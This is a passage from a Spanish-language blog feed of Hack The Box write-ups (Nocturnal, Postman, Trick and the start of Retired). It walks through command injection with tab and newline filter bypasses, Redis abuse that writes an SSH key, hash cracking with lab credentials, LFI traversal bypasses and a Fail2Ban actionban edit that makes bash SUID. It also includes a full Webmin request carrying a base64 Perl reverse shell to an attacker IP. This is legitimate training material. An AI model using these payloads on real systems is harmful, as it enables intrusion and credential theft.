Linux on

Nocturnal (Easy)

admin@synacklabs.github.io (SynAckLabs) — Sun, 25 Jan 2026 00:00:00 +0000

Resumen

La máquina comienza con un servicio web que permite la subida de archivos. Mediante fuzzing de usuarios, localizo un archivo perteneciente al usuario amanda que contiene credenciales. Con ellas accedo a un panel de administración vulnerable a RCE (Remote Code Execution) mediante inyección de caracteres especiales (Newlines y Tabs) para evadir filtros. Exfiltro la base de datos, obtengo hashes y logro acceder por SSH como tobias. Finalmente, escalo privilegios identificando un servicio interno en el puerto 8080 (Gogs), el cual exploto mediante CVE-2023-46818 para obtener ejecución de código como root.

Escaneo y Reconocimiento

Inicio con un escaneo de puertos para identificar la superficie de ataque.

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nocturnal.htb/

Enumeración Web (Puerto 80)

El servidor redirige a nocturnal.htb, por lo que añado el dominio a mi /etc/hosts

Al acceder, encuentro un panel que permite subir archivos. Observo que los archivos subidos se almacenan en el servidor y la estructura de la URL o el endpoint parece depender del nombre de usuario. Esto sugiere una vulnerabilidad de IDOR (Insecure Direct Object Reference) o enumeración de directorios.

Realizo fuzzing sobre el campo de usuario para descubrir directorios de otros usuarios. Encuentro que el usuario amanda tiene archivos almacenados.

Descargo y descomprimo un archivo encontrado en su directorio, lo que revela unas credenciales en texto claro.

User: amanda
Pass: arHkG7HAI68X8s1J

Acceso Inicial

Panel de Administración y RCE

Utilizo las credenciales de Amanda para loguearme en el panel de administración. En el dashboard (dashboard.php), encuentro un archivo para realizar backups que solicita una contraseña.

En ese campo igual hay un RCE.

Descubro que hay un filtro de espacios, pero logro evadirlo utilizando tabuladores (%09) y saltos de línea (%0A)

/nbash/t-c/t"whoami" (interpretado como \n bash \t -c \t "whoami")

Exfiltración de Base de Datos

Aprovecho el RCE para volcar el contenido de la base de datos SQLite del servidor.

Payload utilizado:

%0Abash%09-c%09"sqlite3%09/var/www/nocturnal_database/nocturnal_database.db%09.dump"%0A

La respuesta me devuelve los registros de la tabla users con hashes de contraseña

INSERT INTO users VALUES(1,'admin','d725aeba143f575736b07e045d8ceebb');
INSERT INTO users VALUES(2,'amanda','df8b20aa0c935023f99ea58358fb63c4');
INSERT INTO users VALUES(4,'tobias','55c82b1ccd55ab219b3b109b07d5061d');

Logro obtener la contraseña en texto claro para el usuario tobias: slowmotionapocalypse.

Movimiento Lateral (SSH)

Con las credenciales tobias:slowmotionapocalypse, me conecto exitosamente mediante SSH.

Realizo una enumeración básica y confirmo que Tobias no tiene permisos de sudo. Sin embargo, al revisar los puertos internos abiertos (netstat o ss), detecto un servicio corriendo en el puerto 8080

Escalada de Privilegios

Tunneling y Enumeración Interna

Para acceder al servicio interno, realizo un Local Port Forwarding (túnel SSH) hacia mi máquina atacante.

Al acceder a localhost:8080, encuentro un servicio web (aparentemente Gogs, basado en el exploit posterior). Pruebo reutilización de credenciales y logro acceder con admin:slowmotionapocalypse.

Analizamos la versión.

Explotación de CVE-2023-46818

Identifico que la versión del servicio es vulnerable a CVE-2023-46818. Esta vulnerabilidad permite escalar privilegios o lograr ejecución de código a través de una inyección de argumentos en el manejo de hooks de git o configuraciones internas.

Utilizo un exploit público en Python para atacar la instancia:

link_preview

A pesar de la inestabilidad del servidor, el exploit logra ejecutarse correctamente y me otorga una shell como root.

Lo tenemos!

Postman (Easy)

admin@synacklabs.github.io (SynAckLabs) — Fri, 23 Jan 2026 00:00:00 +0000

Resumen

Esta máquina Linux presenta varios servicios expuestos, destacando Redis y Webmin. El punto de entrada se logra abusando de una mala configuración en Redis que permite escribir una clave SSH pública en el servidor, obteniendo acceso como el usuario redis. Tras enumerar el sistema, encuentro una clave SSH encriptada perteneciente al usuario Matt. Craqueo la contraseña de esta clave pero, debido a restricciones de SSH, debo usar su para pivotar lateralmente. Finalmente, aprovecho las credenciales de Matt para acceder a Webmin y exploto una vulnerabilidad de Ejecución Remota de Comandos (RCE) autenticada para escalar a root

Enumeración

Inicio con un escaneo de puertos para identificar la superficie de ataque.

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 46:83:4f:f1:38:61:c0:1c:74:cb:b5:d1:4a:68:4d:77 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDem1MnCQG+yciWyLak5YeSzxh4HxjCgxKVfNc1LN+vE1OecEx+cu0bTD5xdQJmyKEkpZ+AVjhQo/esF09a94eMNKcp+bhK1g3wqzLyr6kwE0wTncuKD2bA9LCKOcM6W5GpHKUywB5A/TMPJ7UXeygHseFUZEa+yAYlhFKTt6QTmkLs64sqCna+D/cvtKaB4O9C+DNv5/W66caIaS/B/lPeqLiRoX1ad/GMacLFzqCwgaYeZ9YBnwIstsDcvK9+kCaUE7g2vdQ7JtnX0+kVlIXRi0WXta+BhWuGFWtOV0NYM9IDRkGjSXA4qOyUOBklwvienPt1x2jBrjV8v3p78Tzz
| 256 2d:8d:27:d2:df:15:1a:31:53:05:fb:ff:f0:62:26:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIRgCn2sRihplwq7a2XuFsHzC9hW+qA/QsZif9QKAEBiUK6jv/B+UxDiPJiQp3KZ3tX6Arff/FC0NXK27c3EppI=
| 256 ca:7c:82:aa:5a:d3:72:ca:8b:8a:38:3a:80:41:a0:45 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIF3FKsLVdJ5BN8bLpf80Gw89+4wUslxhI3wYfnS+53Xd
80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: E234E3E8040EFB1ACD7028330A956EBF
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: The Cyber Geek's Personal Website
6379/tcp open redis syn-ack ttl 63 Redis key-value store 4.0.9
10000/tcp open http syn-ack ttl 63 MiniServ 1.910 (Webmin httpd)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 066AF1F6A59FCB67495B545A6B81F371
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración Web (Puertos 80 y 10000)

Puerto 80: Muestra “The Cyber Geek’s Personal Website”, una página en construcción que no revela información útil tras el fuzzing

Puerto 10000 (Webmin): Encuentro un panel de administración Webmin versión 1.910. Existe un exploit conocido para esta versión, pero requiere autenticación previa, por lo que lo reservo para más adelante.

https://github.com/KentVolt/Webmin-1.910-Exploit/blob/master/Webmin 1.910 - Remote Code Execution using BurpSuite

Acceso Inicial: Redis

Enumeración de Redis (Puerto 6379)

Al conectarme al servicio Redis, descubro que no requiere autenticación (config get requirepass está vacío). Esto me permite ejecutar comandos de configuración críticos.

El servidor corre con permisos que le permiten escribir en disco. Verifico la configuración del directorio de trabajo y confirmo que puedo cambiarlo:

10.129.2.1:6379> CONFIG SET dir /var/lib/redis/.ssh
OK

Explotación: Escritura de Clave SSH

Abuso de la funcionalidad de guardado de base de datos de Redis para escribir mi propia clave pública en el archivo authorized_keys del usuario redis.

Genero un par de claves SSH localmente.

┌──(kali㉿kali)-[~/Desktop/HTB/Postman/loot]
└─$ ls
id_ed25519 id_ed25519.pub

Escribo la clave pública en la memoria de Redis:

┌──(kali㉿kali)-[~/Desktop/HTB/Postman/loot]
└─$ cat id_ed25519.pub | redis-cli -h 10.129.2.1 -x set ssh_key
OK

Configuro el nombre del archivo de destino y guardo:

10.129.2.1:6379> CONFIG SET dbfilename authorized_keys
OK
10.129.2.1:6379> save
OK
10.129.2.1:6379> exit

Nota: Inicialmente el login falla. Esto se debe a que el comando save de Redis vuelca datos binarios en el archivo, corrompiendo el formato que espera SSH. Soluciono esto añadiendo saltos de línea (\n\n) antes y después de la clave pública para aislarla de la “basura” binaria, permitiendo que sshd la lea correctamente.

(echo -e "\n\n"; cat ~/id_rsa_generated.pub; echo -e "\n\n") > spaced_key.txt

Cuando se usa el comando SAVE o BGSAVE en Redis, el servidor no escribe un archivo de texto limpio. Genera un archivo con formato RDB, que es un formato binario propietario de Redis. Este archivo contiene metadatos, cabeceras y caracteres no imprimibles que sshd (el servicio de SSH) no entiende.

El servicio sshd es muy tolerante cuando lee el archivo authorized_keys. Su comportamiento es:

Ignora las líneas que no reconoce o que tienen basura binaria.
Busca específicamente una línea que empiece por ssh-rsa (o el algoritmo que uses).

Al rodear la llave con varios \n (saltos de línea), nos aseguramos de que la llave pública quede aislada en su propia línea, separada de la basura binaria que Redis escribe al principio y al final del archivo.

Una vez corregido, accedo por SSH como el usuario redis.

Movimiento Lateral: Usuario Matt

Ya dentro del sistema, enumero los archivos del usuario.

Enumerando podemos ver que el usuario redis estaba controlado por Matt.

redis@Postman:~$ cat .bash_history
exit
su Matt
pwd
nano scan.py
python scan.py
nano scan.py
clear
nano scan.py
clear
python scan.py
exit
exit
cat /etc/ssh/sshd_config
su Matt
clear
cd /var/lib/redis
su Matt
exit
cat id_rsa.bak
ls -la
exit
cat id_rsa.bak
exit
ls -la
crontab -l
systemctl enable redis-server
redis-server
ifconfig
netstat -a
netstat -a
netstat -a
netstat -a
netstat -a > txt
exit
crontab -l
cd ~/
ls
nano 6379
exit

Lo que más llama la atención es ese archivo id_rsa.bak

redis@Postman:/home/Matt$ find / -name "id_rsa.bak" 2>/dev/null
/opt/id_rsa.bak

Se trata de una clave privada SSH encriptada. La transfiero a mi máquina local para intentar crackearla.

El problema es que el usuario Matt no tiene permitido connectarse mediante SSH, ya que nos damos cuenta haciendo un cat a /etc/ssh/sshd_config, que era otro de los comandos ejecutados por el usuario redis.

cat /etc/ssh/sshd_config

BLA, BLA

#deny users
DenyUsers Matt

BLA, BLA

Cracking de Clave SSH

Igualmente utilizo ssh2john para convertir la clave a un formato crackeable y luego john con el diccionario rockyou.

┌──(root㉿kali)-[/home/…/Desktop/HTB/Postman/loot]
└─# ssh2john id_rsa 
id_rsa:$sshng$0$8$73E9CEFBCCF5287C$1192$25e840e75235eebb0238e56ac96c7e0bcdfadc8381617435d43770fe9af72f6036343b41eedbec5cdcaa2838217d09d77301892540fd90a267889909cebbc5d567a9bcc3648fd648b5743360df306e396b92ed5b26ae719c95fd1146f923b936ec6b13c2c32f2b35e491f11941a5cafd3e74b3723809d71f6ebd5d5c8c9a6d72cba593a26442afaf8f8ac928e9e28bba71d9c25a1ce403f4f02695c6d5678e98cbed0995b51c206eb58b0d3fa0437fbf1b4069a6962aea4665df2c1f762614fdd6ef09cc7089d7364c1b9bda52dbe89f4aa03f1ef178850ee8b0054e8ceb37d306584a81109e73315aebb774c656472f132be55b092ced1fe08f11f25304fe6b92c21864a3543f392f162eb605b139429bb561816d4f328bb62c5e5282c301cf507ece7d0cf4dd55b2f8ad1a6bc42cf84cb0e97df06d69ee7b4de783fb0b26727bdbdcdbde4bb29bcafe854fbdbfa5584a3f909e35536230df9d3db68c90541d3576cab29e033e825dd153fb1221c44022bf49b56649324245a95220b3cae60ab7e312b705ad4add1527853535ad86df118f8e6ae49a3c17bee74a0b460dfce0683cf393681543f62e9fb2867aa709d2e4c8bc073ac185d3b4c0768371360f737074d02c2a015e4c5e6900936cca2f45b6b5d55892c2b0c4a0b01a65a5a5d91e3f6246969f4b5847ab31fa256e34d2394e660de3df310ddfc023ba30f062ab3aeb15c3cd26beff31c40409be6c7fe3ba8ca13725f9f45151364157552b7a042fa0f26817ff5b677fdd3eead7451decafb829ddfa8313017f7dc46bafaac7719e49b248864b30e532a1779d39022507d939fcf6a34679c54911b8ca789fef1590b9608b10fbdb25f3d4e62472fbe18de29776170c4b108e1647c57e57fd1534d83f80174ee9dc14918e10f7d1c8e3d2eb9690aa30a68a3463479b96099dee8d97d15216aec90f2b823b207e606e4af15466fff60fd6dae6b50b736772fdcc35c7f49e5235d7b052fd0c0db6e4e8cc6f294bd937962fab62be9fde66bf50bb149ca89996cf12a54f91b1aa2c2c6299ea9da821ef284529a5382b18d080aaede451864bb352e1fdcff981a36b505a1f2abd3a024848e0f3234ef73f3e2dda0dd7041630f695c11063232c423c7153277bbe671cb4b483f08c266fc547d89ff2b81551dabef03e6fd968a67502100111a7022ff3eb58a1fc065692d50b40eb379f155d37c1d97f6c2f5a01de13b8989174677c89d8a644758c071aea8d4c56a0374801732348db0b3164dcc82b6eaf3eb3836fa05cf5476258266a30a531e1a3132e11b944e8e0406cad59ffeaecc1ab3b7705db99353c458dc9932a638598b195e25a14051e414e20dc1510eb476a467f4e861a51036d453ea96721e0be34f4993a34b778d4111b29a63d69c1b8200869a129392684af8c4daa32f3d0a0d17c36275f039b4a3bf29e9436b912b9ed42b168c47c4205dcd00c114da8f8d82af761e69e900545eb6fc10ef1ba4934adb6fa9af17c812a8b420ed6a5b645cad812d394e93d93ccd21f2d444f1845d261796ad055c372647f0e1d8a844b8836505eb62a9b6da92c0b8a2178bad1eafbf879090c2c17e25183cf1b9f1876cf6043ea2e565fe84ae473e9a7a4278d9f00e4446e50419a641114bc626d3c61e36722e9932b4c8538da3ab44d63

┌──(root㉿kali)-[/home/…/Desktop/HTB/Postman/loot]
└─# ssh2john id_rsa > id_rsa.hash


┌──(root㉿kali)-[/home/…/Desktop/HTB/Postman/loot]
└─# john --wordlist=/usr/share/wordlists/seclists/rockyou.txt id_rsa.hash

computer2008 (id_rsa)

Tenemos contraseña! computer2008

Probamos mediante SSH sabiendo que no va a funcionar, y efectivamente no podemos entrar, pero viendo que redis usaba su Matt. Sin embargo, como ya estoy dentro como redis, puedo cambiar de usuario localmente usando la contraseña crackeada.

Bingo!

Consigo la user flag.

Elevación de privilegios

Al enumerar los permisos de sudo de Matt, veo que no tiene acceso a nada interesante. Sin embargo, recordamos el puerto 10000 (Webmin). Pruebo las credenciales Matt:computer2008 en el panel de login y logro acceder.

Estamos dentro.

La versión 1.910 de Webmin es vulnerable a RCE autenticado en el endpoint de actualizaciones de paquetes. La vulnerabilidad reside en el parámetro u del script /package-updates/update.cgi

Preparo un payload en Perl para establecer una reverse shell, lo codifico en Base64 y lo inyecto en la petición HTTP.

echo -n "perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"10.10.15.44:4444\");STDIN->fdopen(\$c,r);\$~->fdopen(\$c,w);system\$_ while<>;'" | base64 -w 0


cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw==

| bash -c "{echo,cGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0+ZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw==}|{base64,-d}|{bash,-i}"

Lo URL Encodeamos.

+%7C+bash+-c+%22%7Becho%2CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0%2BZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22+%0D%0A

Al enviar la petición, recibo una conexión inversa en mi listener como el usuario root.

POST /package-updates/update.cgi HTTP/1.1
Host: 10.129.2.1:10000
Cookie: redirect=1; testing=1; sid=af122636c747c504f006f91e9b600aae
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Progressive-Url: https://10.129.2.1:10000/package-updates/update.cgi
X-Requested-From: package-updates
X-Requested-From-Tab: webmin
X-Requested-With: XMLHttpRequest
Content-Length: 289
Origin: https://10.129.2.1:10000
Referer: https://10.129.2.1:10000/package-updates/update.cgi?xnavigation=1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
Te: trailers
Connection: keep-alive

u=acl%2Fapt&u=+%7C+bash+-c+%22%7Becho%2CcGVybCAtTUlPIC1lICckcD1mb3JrO2V4aXQsaWYoJHApOyRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKFBlZXJBZGRyLCIxMC4xMC4xNS40NDo0NDQ0Iik7U1RESU4tPmZkb3BlbigkYyxyKTskfi0%2BZmRvcGVuKCRjLHcpO3N5c3RlbSRfIHdoaWxlPD47Jw%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22+%0D%0A

Rooted.

Trick (Easy)

admin@synacklabs.github.io (SynAckLabs) — Thu, 22 Jan 2026 00:00:00 +0000

Resumen

Esta máquina Linux expone varios servicios web y DNS. Comienzo enumerando DNS donde encuentro una transferencia de zona que revela subdominios ocultos. En uno de ellos, abuso de una SQL Injection para acceder a un panel administrativo y obtener credenciales, aunque no son útiles para SSH. En un segundo subdominio, exploto un LFI (Local File Inclusion) con bypass de filtros para exfiltrar una clave SSH privada. Finalmente, escalo privilegios abusando de permisos de escritura en la configuración de Fail2Ban y mi capacidad de reiniciar el servicio con sudo.

Escaneo y Reconocimiento

Comienzo con un escaneo básico de servicios. Detecto SSH, DNS y un servidor Web Nginx.

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Rh57OmAndXFukHce0Tr4BL8CWC8yACwWdu8VZcBPGuMUH8VkvzqseeC8MYxt5SPL1aJmAsZSgOUreAJNlYNBBKjMoFwyDdArWhqDThlgBf6aqwqMRo3XWIcbQOBkrisgqcPnRKlwh+vqArsj5OAZaUq8zs7Q3elE6HrDnj779JHCc5eba+DR+Cqk1u4JxfC6mGsaNMAXoaRKsAYlwf4Yjhonl6A6MkWszz7t9q5r2bImuYAC0cvgiHJdgLcr0WJh+lV8YIkPyya1vJFp1gN4Pg7I6CmMaiWSMgSem5aVlKmrLMX10MWhewnyuH2ekMFXUKJ8wv4DgifiAIvd6AGR
| 256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAoXvyMKuWhQvWx52EFXK9ytX/pGmjZptG8Kb+DOgKcGeBgGPKX3ZpryuGR44av0WnKP0gnRLWk7UCbqY3mxXU0=
| 256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIGY1WZWn9xuvXhfxFFm82J9eRGNYJ9NnfzECUm0faUXm
25/tcp open smtp? syn-ack ttl 63
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open domain syn-ack ttl 63 ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid:
|_ bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open http syn-ack ttl 63 nginx 1.14.2
| http-methods:
|_ Supported Methods: GET HEAD
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
|_http-server-header: nginx/1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración Web (Puerto 80)

Al visitar la web principal en el puerto 80, encuentro una página “Coming Soon” sin funcionalidad aparente. Identifico que corre sobre Nginx 1.14.2.

Enumeración DNS (Puerto 53)

Dado que el puerto 53 está abierto, realizo una búsqueda inversa (reverse lookup) para identificar el nombre de dominio de la máquina.

dig @10.129.95.104 -x 10.129.95.104

; <<>> DiG 9.20.4-4-Debian <<>> @10.129.95.104 -x 10.129.95.104
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 46316
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 5e0ee3a854962e4cc522bb9469725f8b9fb68186fcd1fb04 (good)
;; QUESTION SECTION:
;104.95.129.10.in-addr.arpa. IN PTR

;; ANSWER SECTION:
104.95.129.10.in-addr.arpa. 604800 IN PTR trick.htb.

;; AUTHORITY SECTION:
95.129.10.in-addr.arpa. 604800 IN NS trick.htb.

;; ADDITIONAL SECTION:
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1

;; Query time: 204 msec
;; SERVER: 10.129.95.104#53(10.129.95.104) (UDP)
;; WHEN: Thu Jan 22 18:33:54 CET 2026
;; MSG SIZE rcvd: 164

Con el dominio trick.htb identificado, intento una transferencia de zona (AXFR) para listar todos los subdominios configurados.

dig axfr trick.htb @10.129.95.104

; <<>> DiG 9.20.4-4-Debian <<>> axfr trick.htb @10.129.95.104
;; global options: +cmd
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb. 604800 IN NS trick.htb.
trick.htb. 604800 IN A 127.0.0.1
trick.htb. 604800 IN AAAA ::1
preprod-payroll.trick.htb. 604800 IN CNAME trick.htb.
trick.htb. 604800 IN SOA trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 40 msec
;; SERVER: 10.129.95.104#53(10.129.95.104) (TCP)
;; WHEN: Thu Jan 22 18:36:11 CET 2026
;; XFR size: 6 records (messages 1, bytes 231)

Encuentro un subdominio interesante: preprod-payroll.trick.htb. Lo añado a mi /etc/hosts.

Acceso Inicial

SQL Injection en Preprod-Payroll

Al acceder a preprod-payroll.trick.htb, me encuentro con un panel de login. Pruebo una inyección SQL básica para intentar bypassear la autenticación.

¡Éxito! Accedo al panel administrativo de gestión de nóminas.

Explorando la interfaz, en el apartado de usuarios, inspecciono el código fuente o los elementos de la lista y encuentro unas credenciales ocultas:

Usuario: Enemigosss
Password: SuperGucciRainbowCake

Intento usar estas credenciales para SSH, pero no funcionan. El entorno parece ser de pre-producción, así que decido buscar más subdominios mediante fuzzing de vhosts.

LFI en Preprod-Marketing

El fuzzing revela otro subdominio: preprod-marketing.trick.htb.

Al navegar por esta web, observo que las páginas se cargan mediante un parámetro page: http://preprod-marketing.trick.htb/index.php?page=services.html

Esto es un indicador potencial de LFI. Vamos a explorar…

Pruebo cargas útiles básicas (../../etc/passwd), pero no obtengo respuesta. Parece haber un filtro de sanitización. Pruebo técnicas de bypass y descubro que ....// funciona para saltar directorios.

Podemos enumerar el usuario michael donde probamos una reutilización de credenciales pero nada.

Consigo leer el /etc/passwd y confirmo la existencia del usuario michael. Dado que tengo LFI, intento leer su clave privada SSH.

Copio la clave (id_rsa), le doy los permisos adecuados (chmod 600) y me conecto como michael.

Ya estoy dentro. Capturo la user flag.

Escalada de Privilegios

Enumeración de Sudoers

Reviso los permisos de sudo del usuario michael.

uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)


michael@trick:~$ sudo -l
Matching Defaults entries for michael on trick:
 env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
 (root) NOPASSWD: /etc/init.d/fail2ban restart

Puedo reiniciar el servicio Fail2Ban como root sin contraseña.

Abuso de configuración de Fail2Ban

Usamos esta guia que explica que es este ejecutable.

https://www.digitalocean.com/community/tutorials/how-fail2ban-works-to-protect-services-on-a-linux-server

Fail2Ban escanea logs y banea IPs usando iptables basándose en reglas definidas. Reviso los permisos de la configuración.

“Fail2ban scans log files (e.g. /var/log/apache/error_log) and bans IPs that show the malicious signs (too many password failures, seeking for exploits, etc.)”

Observo que el grupo security (al que pertenezco: groups=1001(michael),1002(security)) tiene permisos de escritura sobre los archivos de configuración en action.d.

Existe un objeto principal el cual contiene la configuración global de los baneos, reside en /etc/fail2ban/jail.conf

El archivo /etc/fail2ban/jail.conf define que tras 5 intentos fallidos, la IP será baneada ejecutando una acción. La acción por defecto suele implicar iptables-multiport.

Exploaramos ese archivo iptables-multiport.conf.

michael@trick:/etc/fail2ban/action.d$ cat iptables-multiport.conf
# Fail2Ban configuration file
#
# Author: Cyril Jaquier
# Modified by Yaroslav Halchenko for multiport banning
#

[INCLUDES]

before = iptables-common.conf

[Definition]

# Option: actionstart
# Notes.: command executed once at the start of Fail2Ban.
# Values: CMD
#
actionstart = <iptables> -N f2b-<name>
 <iptables> -A f2b-<name> -j <returntype>
 <iptables> -I <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>

# Option: actionstop
# Notes.: command executed once at the end of Fail2Ban
# Values: CMD
#
actionstop = <iptables> -D <chain> -p <protocol> -m multiport --dports <port> -j f2b-<name>
 <actionflush>
 <iptables> -X f2b-<name>

# Option: actioncheck
# Notes.: command executed once before each actionban command
# Values: CMD
#
actioncheck = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'

# Option: actionban
# Notes.: command executed when banning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
actionban = <iptables> -I f2b-<name> 1 -s <ip> -j <blocktype>

# Option: actionunban
# Notes.: command executed when unbanning an IP. Take care that the
# command is executed with Fail2Ban user rights.
# Tags: See jail.conf(5) man page
# Values: CMD
#
actionunban = <iptables> -D f2b-<name> -s <ip> -j <blocktype>

[Init]

Edito el archivo /etc/fail2ban/action.d/iptables-multiport.conf. Mi objetivo es cambiar el comando que se ejecuta al banear una IP (actionban) por uno que me otorgue permisos de root.

mv iptables-multiport.conf .old
cp .old iptables-multiport.conf
vim iptables-multiport.conf

Con esto podemos modificar el archivo. ya que estamos dentro del grupo security que nos permite mover archivos y reescribirlos.

actionban = chmod u+s /bin/bash

Ejecución

Reinicio Fail2Ban para aplicar la configuración maliciosa:

sudo /etc/init.d/fail2ban restart

Podemos ver en el archivo/etc/fail2ban/jail.conf cuantos intentos tenemos antes del baneo, son 5.

Desde mi máquina atacante (o abriendo otra sesión local), intento loguearme por SSH con una contraseña incorrecta 5 veces para disparar la regla de baneo.

ssh msassam@trick.htb
# (Fallo la contraseña 5 veces intencionalmente)

Una vez activado el “ban”, Fail2Ban ejecuta mi comando malicioso. Verifico los permisos de bash:

Tenemos shell como root!

Retired (Medium)

admin@synacklabs.github.io (SynAckLabs) — Fri, 16 Jan 2026 00:00:00 +0000

Resumen

Esta máquina ha sido de las más duras que he hecho. La parte de explotación se apoya en un stack-based buffer overflow y, siendo sinceros, no soy muy fan del buffer overflow, así que me obligó a ir con mucho más cuidado de lo normal.

A grandes rasgos, la intrusión va así:

Enumeración web y descubrimiento de un LFI en page= usando php://filter.
Bypass del filtro de path traversal por cómo usan str_replace.
Descubrimiento de un servicio interno que procesa licencias y que es vulnerable a BOF.
Explotación con Ret2Libc (por NX) y obtención de reverse shell.
Escalada a dev abusando de un backup service con zip.
Escalada a root abusando de binfmt_misc mediante un helper con cap_dac_override.

Enumeración inicial

PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 77:b2:16:57:c2:3c:10:bf:20:f1:62:76:ea:81:e4:69 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCkfdfWGso2b9nD1yYlcq35Rrc1OCqcabTsuKoIlCXMayYEXqqWVohwu+rXyX06gzGR4EYp/fvb1BUo7n819iCzKhFjf2W2RHWfBne9TpRShBtQJ95oQhM6djuEahYzOTWiO1wTYqMdZQwANin/HXPIu2i+KoeeeOPL6g0qE2e4pMKI+BDo4SteVObt3ssP5NLTmNOSqVqKoFnUTNNnyqlwcbO67tRVINku2Kc6LH/HV0XBGjVqMmwfz3MokaBmAqTpn2td6x7CKcPRfiRgIB5AqkePgqHZl8Wn+TdsG6gziPJ6+NVcvadMJ2ErsJLuchds0ZNToG3P879UTFUrF9Qn+Z0TiTN7X0FgbOGG6u7iaN/r4NP0t2qmp2rS+se+Q/j21T4jBFJOXxqjRWQvGfayIKic4Enkxwv5WvAd3uNm9R/WEIxf7Ol0eMK39fUdfElOTViPNOyW/vT6gA9DxcBZM/X1xPgC1XqNKs0mdA1cZY34BQVffDQ2carfW9JzBb8=
| 256 cb:09:2a:1b:b9:b9:65:75:94:9d:dd:ba:11:28:5b:d2 (ECDSA)
